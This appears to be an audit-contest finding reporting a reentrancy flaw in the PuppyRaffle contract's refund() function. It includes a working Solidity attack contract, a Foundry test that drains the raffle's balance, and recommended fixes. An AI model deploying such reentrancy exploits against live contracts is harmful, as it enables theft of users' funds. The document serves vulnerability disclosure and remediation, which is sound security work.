Submission Details
Severity:
refund() is prone to reentrancy attack
Summary
A malicious smart contract can call refund() and drain all the funds from PuppyRaffle.
Vulnerability Details
It's possible to reenter refund() with the following attacker's smart contract:
//SPDX-License-Identifier: MIT
import "./PuppyRaffle.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
// I'm attack contract. I like ETH and don't like dogs.
contract Attack {
address private immutable puppyRaffleAddress;
constructor(address _puppyRaffleAddress) {
puppyRaffleAddress = _puppyRaffleAddress;
}
// simulate response from ERC721 Receiver to avoid revert
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return 0x150b7a02;
}
receive() external payable {
// specify lower limit in order to avoid revert. In this example it's 0.2 ETH.
if ((puppyRaffleAddress).balance > 0.2 ether) {
PuppyRaffle(puppyRaffleAddress).refund(3);
}
}
}
Here is a test for the attack:
Attack attack1;
Attack attack2;
Attack attack3;
Attack attack4;
...
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
attack1 = new Attack(address(puppyRaffle));
attack2 = new Attack(address(puppyRaffle));
attack3 = new Attack(address(puppyRaffle));
attack4 = new Attack(address(puppyRaffle));
}
function testCanPerformReentrancyAttack() public {
address[] memory players = new address[](4);
players[0] = address(attack1);
players[1] = address(attack2);
players[2] = address(attack3);
players[3] = address(attack4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
console.log("PuppyRaffle balance before: %s", address(puppyRaffle).balance);
console.log("Attacker balance before: %s", address(attack4).balance);
vm.prank(address(attack4));
puppyRaffle.refund(3);
console.log("PuppyRaffle balance after: %s", address(puppyRaffle).balance);
console.log("Attacker balance after: %s", address(attack4).balance);
}
Impact
High. The attacker can steal all the funds.
Tools Used
Manual check.
Recommendations
Follow checks-effects-interactions pattern. In this case, move
players[playerIndex] = address(0);before the external call:
...
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
...
Use a reentrancy guard https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard
Updates
Lead Judging Commences
Hamiltonite almost 2 years ago
Submission Judgement Published Assigned finding tags:
reentrancy-in-refund
reentrancy in refund() function
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.